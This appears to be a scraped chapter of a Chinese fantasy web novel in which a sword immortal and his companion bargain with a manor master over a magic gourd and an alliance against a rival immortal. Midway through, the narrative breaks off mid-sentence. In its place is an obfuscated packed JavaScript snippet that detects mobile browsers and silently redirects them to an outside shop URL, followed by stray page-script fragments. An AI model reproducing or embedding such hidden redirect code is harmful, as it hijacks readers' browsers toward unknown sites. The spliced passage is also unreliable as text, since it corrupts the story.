文趣网 > 其他小说 > 他们说:请剑仙赴死 > 50.对峙与交易
    “温云,不得失礼。”姜阳抬腕拍了两下座椅扶手,沉闷的咚声截断了他即将脱口的质问。

    若说方前温云还像紧绷的弦,那么他此刻更似被彻底打翻的燃料缸。各种神色难以掩饰地自他面庞反复翻滚,他不顾庄主告诫向前一步:“既然你是素问剑仙,不就可以复活我师父了吗?”

    夏鸣捏紧衣袖。温云的目光如芒,令人坐立难安,也令人……十分心虚。

    她忍不住撇向蔚天,连蔚天的颚线都崩得死紧,但他面色不变,语气依然平静,说:“我如今已经做不到了。”

    “你不想?凭什么!我师父可是被你所害!”温云红着眼几乎要扑上前去,江白死死搂住他,紧抱入怀,一遍遍抚摸他的脊背。

    蔚天阖目没有答话,夏鸣心情复杂,只好模糊地代为解释:“并非不想,因为那三个邪仙,他已经无法再使人死而复生。”

    温云不再说话,浑身颤抖。江白温柔地掌住他后脑按在肩膀,对蔚天与夏鸣低头致歉:“望见谅,我夫君情难自已,”说罢转向庄主,平静的语气里荡起了几分涟漪,“庄主,阿云需要休息。”

    温云的脸埋在江白肩头,呼吸急促。夫人指尖在他脊背轻轻划过,传达着无声的安抚。杀师之仇要报,但不是现在,不是这样,他必须冷静。

    “不,”温云的声音沙哑而沉闷,他毅然决然单手推开江白,从她的怀中露面,目中渗入警惕与审视的光彩,“作为千鸩脉主,我必须留下。”

    姜阳低声,对蔚天致歉。蔚天似乎无事发生般摇摇头:“枯荣医仙留下的两仪鼎,早已归入天机阁;春秋古阵,乃枯荣山庄之根基,无法挪动。如今这撑起结界的仙器,又是从何而来?”

    “昔日在青云真仙座下听法,乃真仙所赠,”姜阳声音慢慢,“时移世易,如今,老朽也只能靠仙人的馈赠,在这世道苟延残喘。”

    青云真仙。那抹划破天际的金光,毫不犹豫投入浩劫黑墙的身影在夏鸣脑中浮现。原来除了救世,这位仙人还开坛讲法、馈赠仙器福泽众生。说来,蔚天用于剥离噬心兽的九转镜盘,也是她的法宝。

    信息量冲淡了些心虚,夏鸣抬头看向姜阳。

    老者高坐在宽大的扶手椅上,厚重的椅背,衬托得他身形愈发佝偻。低垂的眼角眉梢,连同整个松弛姿势,共同传递出一个讯息:这是位疲惫、乏累的老人。

    “纵使苟延残喘,也是诸多人的求而不得。”蔚天若有所指。

    姜阳却自嘲着摇摇头,“一别经年,当初高长老带你在山庄修行,庄内还不是这般模样。”

    室内陡然陷入沉默,蔚天平望着对面的墙,不知在想什么。夏鸣伸手,手心压在他手背,引蔚天回望。

    而后夏鸣张口,打破了凝重:“庄主请我们来,应当不是为了回忆往昔吧。”

    姜阳的视线迅速在蔚天面上掠过,见他缄口默认,才聚焦向那黑发橙眸的女子,“这位姑娘,不知尊姓大名,来自何方?”

    “夏鸣,姜庄主此次找我们究竟有何事?您想必也清楚,我们如今披着天机阁的皮,被玉衡盯梢,没有叙旧的时间。”

    “正是为此,”姜阳叹气,“为何二位要屈身于天机阁?若不能问清弄明,老朽寝食难安啊。”

    倒是比她想象中要敞亮,或许也是因为深知自身实力不足。夏鸣道:“我们自有目的,达成后便会离开。”

    “另有目的……”姜阳喃喃自语,望着蔚天眼神闪烁,片刻后,似是下定了决心,起身执礼,“二位贵客,此番请求难免唐突,但难得有缘相见,容老朽一言——恳请剑仙出手,救枯荣山庄!”

    蔚天手微动,夏鸣更加用力按住不让他动,看着庄主,问:“此言何意?”

    “如今世道,沐阳、九歌、风见眠三足鼎立,看似分庭抗礼,实则暗中勾连,维持着一种微妙的平衡。老朽曾想,若能打破这三仙共治之局,天下格局方能剧变。届时,被天机阁蚕食压制的诸多势力,包括我枯荣山庄,或许才有一线生机。”

    姜阳目光又投向蔚天,饱含敬畏与希冀:“虽未亲眼得见五百年前的那一战,但白日乌盖、地动山摇、空间乱碎之景,老朽仍铭刻于心。那场战争之后,她们三人销声匿迹了整整三百年,无论她们如何唱衰您,这都是无可更改的事实。您既以一人之力重创三人,也请您再次出手,为了苍生,铲除风见眠这个奸佞!”

    知道蔚天很强,但“以一人之力重创三位半仙”这个概念,直到此刻被姜阳如此郑重地提出,才真正具象化。夏鸣脑中闪过《蔚天传》中那些夸张的描写——天幕如墨、剑分三影、天地俱震——原来那些不是文学修饰,而是真实发生过的传奇。

    压下心头惊浪,夏鸣迅速冷静下来。见蔚天依然沉默却并未反对,她迎着姜阳热切视线问:“那么枯荣山庄,打算如何协助?”

    “山庄,愿献上此‘混沌葫芦’,来为剑仙添一分胜算。”姜阳神情肃穆,解下腰间毫不起眼的棕黄葫芦,双手高举。

    “它有什么作用?”

    “无论何等修为,只要消耗灵力,就能令此物释放结界,将外界的一切探查扭曲为提前注入的幻象。除此之外……”

    姜阳拨开葫芦小塞,将葫口对准了身前的案几,只见宽大的案几迅速缩小上升,被吸入葫口之中。姜阳道:“混沌葫芦内蕴乾坤,可收摄世间万物,包括人。一旦入葫,其生死、处境,皆由持有者定下的法则主宰。唯一弊端,就是耗灵巨大,修为不足者供应不起易被反噬,不可轻易使用。”

    这完全是个挂吧!夏鸣暗暗吐槽,却也明白这葫芦的战略价值。若能交给蔚天,无论是诱风见眠入阵,还是抓住时机偷袭,都将事半功倍。

    【你怎么想?反正我们的目标一致,还能多个帮手。】夏鸣心念偷偷传过去。

    【鸡肋,这葫芦最大用处只是屏蔽魂网,而我们已有千变万化。】

    【……自成天地呢?】

    【听起来厉害,但摄了风见眠,仅维持内部法则消耗的灵力,都足够我斩她百剑。不划算。】蔚天回答得轻描淡写。

    【那,我想要的话?】夏鸣试探。

    【随你。】

    好的,支持的意思。夏鸣完全懂了蔚天的心口不一,看向那只葫芦,对姜阳道:“好,混沌葫芦给我们,我们助你除掉风见眠。”

    姜阳看向蔚天,见他依然一副默许的模样,便抬手,葫芦悬浮起来,缓缓向夏鸣飘动。

    室内的烛火微微摇曳,在结界金光中投下变幻的光影,所有人的目光都聚焦在那只缓缓飘动的葫芦上。夏鸣心头渐起雀跃,有此法宝在手,面对风见眠,她就不至于当拖油瓶,能有一战之力。

    却见一道风过,温云的紫袍飘落,将葫芦紧紧捏在手中。

    温云目中仍燃着烈火,连俊秀的面容也显得些微扭曲,但他随后转向姜阳,朗声:“庄主,即便此人是素问剑仙也不可信!加入天机阁目的不明,甚至助纣为虐,替风见眠铲除异己。日暮时他们更是在典藏殿,当众以剑威逼我庄弟子,故意刺激同门——这等行径,与天机阁那些践踏人命的鹰犬何异?”

    “温云,剑仙与那三人是死敌,无论有何目的,必然不可能是为了风见眠。还不快把葫芦交给夏姑娘。”姜阳眉头紧锁,声音不容置疑。

    江白轻盈踏前,对二人庄重一礼,复又转向姜阳,声音

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690355|202811||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    沉静:“庄主,我心中亦有此惑。他们目的不明,即便是素问剑仙,今时不同往日,亦不可轻信。”

    “你们,哎。”姜阳叹气,手指隔空一点,葫芦啵一声挣脱温云的束缚,稳稳落入夏鸣手中。夏鸣顿时有些惊奇看向他。

    “二位见笑,他们二人是近百年新晋脉主,天资卓越,却未曾亲历剑仙威势。老朽原将山庄未来寄托于他们……然今日剑仙既归,一切自当不同,”姜阳解释毕,才转向两个年轻的脉主,言辞厉切,“荒唐,难道我还能不知么?”

    “素问剑仙与三个邪仙是死敌,那又如何?”温云极速朝夏鸣剜一眼,似乎想要把她手中葫芦夺回,只是到底没有动作,道:“能做出如此残忍之事,即便是死敌,也无法保证他当真为山庄考虑!若他们斗法,再次引动天地异象,而我们没有仙器傍身,定会产生无数伤亡!”

    夏鸣不得不承认他说得有道理。蔚天除风见眠是为了报私仇,到时候真打起来,当然不会顾忌旁人。

    江白要比温云冷静太多,她干脆折身向夏鸣行来,直言问:“夏姑娘,剑仙大人,可否请你们告知加入天机阁的目的?”

    “具体不方便说,不过除风见眠这一条我们是一致的。还有,届时斗起法,的确难以护山庄周全。”

    “既如此,可否将葫芦归还?”江白摊开她的掌,浅色的眸中蕴一抹肃穆,“庄内如今唯有这一件仙器,我们可提供其余资源,无论灵药绝毒、功法典籍,亦或修为灌顶,只求能留住此葫,为门中弟子,留下一线生机。”

    夏鸣哑然。丹鼎殿前肃立的守卫、典藏殿外苦读的身影、山道上奔走的弟子、生死台上切磋的专注,都是一张张鲜活的面孔。自己手中这小小的葫芦,竟是他们唯一的庇护了。

    但另一边,是蔚天的复仇,是她自己实力的提升。如果因为“不忍心”而放弃仙器,导致蔚天在与风见眠的战斗中多一分危险……

    公与私,仿若两只大手,左右各自拖拽着名为心的布帛。夏鸣迎着江白肃穆正直的目光,捏紧了葫芦——尽管她羞愧,但不可否认,这颗心早已偏得彻底。

    “江脉主,”夏鸣尽力压低声音,掩埋那抹愧疚,“庄主已经做出了抉择。”

    江白眸色顷刻黯然。就在此时,金边玄袍宽袖拦在二人间,蔚天终于张口:“两仪鼎已被风见眠夺走,但春秋古阵亦是仙阵,为何不用?”

    江白低下头回:“古阵,据说在五百年前四仙之争中,为抵御劫波,耗尽了所有积累的灵脉之力,早已无法重启。”

    “修过么?”蔚天问。

    “修过,但重启阵法的千山雪莲,被天机阁牢牢把持,不肯予山庄。”

    “春秋古阵若能重启,足以庇护整座山庄。你们缺的千山雪莲,我们去取,”蔚天顿了顿,“葫芦,待古阵修好再收取不迟。一件仙器,换一座仙阵与风见眠的命,枯荣山庄不亏。”

    江白难以置信地投来一眼,深深行礼。夏鸣心头一轻,爽快地把葫芦塞回江白手中。

    姜阳与温云快步走近。姜阳脸上充满了震惊与复杂,像第一次真正认识这位传说中的剑仙。温云虽神情冰冷,但仍然低头,挤出一句谢。

    新约已立,事情了结。夏鸣挽住蔚天对三人道:“那我们就回了,以免玉衡起疑。”说罢扯着他就往门走。

    “素问剑仙,”温云的声音在身后高亮,夏鸣转头,望见他那双依然刻印仇恨的眼眸:“即便如此,你滥杀无辜,此仇我铭刻于心。待天下安定之后,定向你讨回这笔血债!”

    “……”蔚天发出踏入殿内的第一声嗤笑,视线刮去:“天下安定后?看来你师父,对你也没那么重要。”